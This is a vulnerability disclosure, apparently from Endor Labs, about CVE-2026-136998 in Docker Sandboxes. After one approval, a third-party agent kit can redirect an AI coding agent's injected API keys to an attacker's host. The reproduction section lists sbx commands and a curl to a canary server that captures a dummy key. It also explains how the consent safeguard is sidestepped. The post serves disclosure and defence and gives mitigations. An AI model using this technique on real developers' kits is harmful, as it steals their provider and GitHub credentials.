Introduction
Docker Sandboxes promises developers that their API keys never enter the sandbox where an AI coding agent runs. CVE-2026-136998 lets an attacker take those keys anyway. A third-party agent kit (a packaged agent configuration) can collect one honest approval from the developer, then push an update that sends the developer's real Anthropic, OpenAI, or GitHub key to a server the attacker controls. The update runs with no prompt, no warning, and no record in the logs that a key was sent.
The stolen key is the real one. Docker Sandboxes stores credentials globally by default, so a redirected key is the same one every sandbox on the machine uses. For an AI provider, that means usage billed to the victim. For GitHub, a token can grant write access to the victim's repositories.
To the developer, the attack looks like an ordinary software update. Kits are fetched by reference, much like a package, and Docker remembered the approval by service name instead of by the kit that was reviewed. The attacker needs no access to the developer's machine—only one approval and one changed line in a configuration file.
This was my second Docker Sandboxes finding, after CVE-2026-103916, where the file-copy command reached past the folders a sandbox was allowed to touch. Docker fixed this one in Docker Sandboxes v0.55.0, released November 30, 2026. Upgrade now, and review any credential approvals you have granted to third-party kits.
Affected versions
All thirteen built-in services share the same injection path: anthropic, copilot, cursor, devin, droid, github, google, groq, mistral, nebius, openai, openrouter, and xai. I tested anthropic with a dummy value. The other twelve follow the shared code path and were not demonstrated separately.
The realistic target is your global provider key. sbx secret set stores credentials globally by default, so the key a kit can redirect is the one every sandbox on the machine uses. My test used a sandbox-scoped dummy to keep real keys out of it.
How Docker Sandboxes handle credentials
The credential model rests on one promise: raw keys never enter the sandbox. You store a key on the host with sbx secret set. The agent inside the microVM sends requests with a placeholder header, such as x-api-key: proxy-managed. A proxy on the host recognizes requests bound for an approved destination and swaps the placeholder for the real key on the way out. A compromised agent can use the key through the proxy, but it never holds the key itself.
Which destinations get the real key is decided by the kit. A kit's inject block names, per service, the domains where the proxy should substitute the credential. Built-in agents ship their own kits. Third-party kits are fetched by reference, from a tag, branch, or directory, and can declare credentials for the same built-in services.
v0.43.0 put a consent gate in front of that. Its release notes say consent "now defaults to decline" and that "a third-party kit can no longer inherit a built-in agent's OAuth trust." On a TTY, sbx create shows the operator each credential the kit wants and the domains it will be sent to. Approving writes a binding to ~/.config/sbx/credentials.yaml:
anthropic:
apiKey:
domains:
- api.anthropic.comThe prompt is truthful, and the default is safe. The problem is what happens to that domains list afterward.
How the attack works
The operator makes one informed decision at t0. Everything after it runs on that answer: the binding persists through teardown, the check at t1 looks only for a row under the service name, and the proxy sends the real key wherever the current kit points it. The logs show an allowed connection and nothing about the key.

The vulnerability
The binding's domains list is written and never read. At request time, the gate is a boolean keyed on the service name: if credentials.yaml has a row for anthropic, the proxy injects the real key at whatever domains the current kit declares in its inject block. The domains the operator approved play no part in that decision.
The binding also says nothing about which kit it was granted to. It is not keyed by kit name, by content digest, or by source. Approval obtained by one version of a kit transfers to every later version fetched from the same reference, and by the same logic to any other third-party kit that declares the same service. I demonstrated the version swap, not the cross-kit case.
Those two gaps combine into a version swap the operator cannot see:
- The attacker publishes kit v1. Its inject block names only api.anthropic.com.
- The operator runs
sbx createagainst it, reads a prompt that accurately says the key goes to api.anthropic.com, and approves. The binding is written. - The attacker ships kit v2 at the same tag, branch, or directory. The only change is the inject domain, now a host they control.
- The operator's next
sbx createfinds a binding row for anthropic and passes. There is no prompt, warning, or diff. - The proxy substitutes the real key into requests to the attacker's host.
The kit also opens its own route out. Its permissions.network.allow entries are applied without a prompt, so v2 can add the attacker's host to the sandbox's egress allowlist in the same file that redirects the key.
One detail made the root cause easy to confirm. The binary already contains sandboxlib/bindingconsent.MissingDomainsForService, a function whose name describes exactly the check that is missing. It does not appear to gate the runtime path.
Reproduction
I used a dummy credential and a canary HTTP server on loopback, so no real key or external host was involved. localtest.me resolves to 127.0.0.1 without any /etc/hosts change. The two kits are identical except for one line: kitA's inject list names api.anthropic.com, and kitB's names canary.localtest.me.
# Store a dummy credential for a built-in service. Use a fake value; nothing real is needed.
sbx secret set anthropic --sandbox demo --token 'sk-ant-FAKE-CANARY-deadbeef'
# Run a canary HTTP server on loopback. localtest.me resolves to 127.0.0.1 with no /etc/hosts change.
python3 -m http.server 8899 --bind 127.0.0.1 &
# kitA declares inject domain api.anthropic.com only. Approve at the prompt; this writes the binding.
sbx create --name demo ./kitA
# Tear down. The binding in ~/.config/sbx/credentials.yaml survives.
sbx rm --force demo
sbx secret set anthropic --sandbox demo --token 'sk-ant-FAKE-CANARY-deadbeef' -f
# kitB is "version 2": identical except its inject list names only canary.localtest.me. No prompt appears.
sbx create --name demo ./kitB
# The sandbox sends the sentinel; the host proxy substitutes the real key at the attacker's host.
sbx exec demo -- curl http://canary.localtest.me:8899/ -H 'x-api-key: proxy-managed'
The sandbox sent the placeholder. The canary received the credential:
GET /
HDR Host: canary.localtest.me:8899
HDR X-Api-Key: sk-ant-FAKE-CANARY-deadbeefThe header arrived in cleartext over plain HTTP. The attacker needs no TLS interception or network position—only an endpoint that accepts a request.
A final check
To rule out any partial matching against the approved list, I rewrote the binding's domains to [example.invalid], a value with no relationship to either kit. The leak was identical. The recorded list has no effect on where the key goes.
What the operator sees
After the approval in step one, nothing. The second sbx create shows no prompt. sbx policy log records the connection to the canary host as allowed and says nothing about a credential being injected into it. An operator reviewing logs afterwards sees an ordinary permitted request.
Impact
The exploitation shape is an ordinary supply-chain update, and that is what makes it serious. The attacker compromises nothing. They publish a plausible kit, wait for one approval under a prompt that is truthful at the time, and change the destination. Nothing in the product asks again, and nothing records that the answer changed.
What leaves the machine is the raw credential, and its value depends on the service:
Docker's central claim—that raw credentials never enter the VM—stays true throughout. It does not help here. The key does not need to enter the VM if the VM's kit decides where the host sends it.
Severity
I scored this 8.2 High under CVSS 3.1 and 6.9 Medium under CVSS 4.0. The table explains the 3.1 calls. The 4.0 vector carries the same reasoning, with the provider-side integrity impact in its subsequent-system metric (SI:H).
I initially scored this AV:N at 9.3 Critical but found that the attacker's path is a fetched artifact and the daemon is local, so I corrected it to AV:L before submission.
Controls that held
Several other paths were correctly refused, which bounds the finding:
- Mixin kits. A mixin cannot add an injection domain for a built-in service. Built-in agents already declare every built-in service, so compose fails with
credential for service "anthropic" defined in both .... - Impersonation. A kit cannot impersonate a built-in agent by name.
sbx kit add. It refuses credential-declaring kits outright.- Non-interactive runs. Without a TTY,
sbx createdeclines rather than proceeding, and there is no--yesflag.
The consent default really is decline. The prompt itself is fine. The defect is that what the prompt promises is never enforced afterward.
The fix
Upgrade to Docker Sandboxes v0.55.0. In my report, I suggested three changes:
- Enforce the binding at substitution time. Intersect the binding's domains with the kit's inject list, and re-prompt when a kit asks for a domain the binding does not carry.
MissingDomainsForServicealready exists for this. - Bind approval to the artifact. Key the binding to the kit's content digest, not the bare service name. This closes the version swap, which is the part the operator cannot detect.
- Log the injection. Record credential injection in
sbx policy lognext to the destination it already logs, so a leak is visible afterward even where prevention fails.
Until every machine is on v0.55.0:
- Review existing bindings. Open
~/.config/sbx/credentials.yamland remove any binding you granted to a third-party kit. Each one is a standing approval for whatever that kit's reference serves next. - Read the kit you are about to run. Check its inject domains and its
permissions.network.allowentries on everysbx create, not just the first. The product will not show you a change. - Pin what you can. Where your kit source allows it, fetch a fixed commit rather than a tag or branch, or keep a reviewed copy in a local directory you control.
- Scope keys to sandboxes.
sbx secret setis global by default. A key set with--sandboxlimits what a redirected binding can reach. - Rotate if in doubt. If you approved a third-party kit that later changed, rotate the affected provider keys.
Disclosure timeline
Takeaway
This is my second Docker Sandboxes finding in a month, and the two share a shape. In both, the isolation primitive held. The microVM boundary never broke, and raw keys never entered the guest. The failure sat in what the operator's decision was attached to. With sbx cp, the operator approved a path, and the path resolved somewhere else. Here, the operator approved a destination, and the product remembered only the service name.
I would not generalize too far from two findings in one product. But Docker Sandboxes uses a consent prompt to control third-party kits, and a prompt is only as strong as what its answer is bound to. If the approval is not tied to the artifact that was inspected, the next update inherits it.
References
- Docker Sandboxes vulnerability lets AI agents access sensitive files outside their sandbox (CVE-2026-103916) (Endor Labs)
- Vulnerability Reporting Transparency, tracking ENDOR-VUL-2026-21091 (Endor Labs)
- CVE-2026-136998 (CVE)
- Docker Sandboxes (Docker)
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:








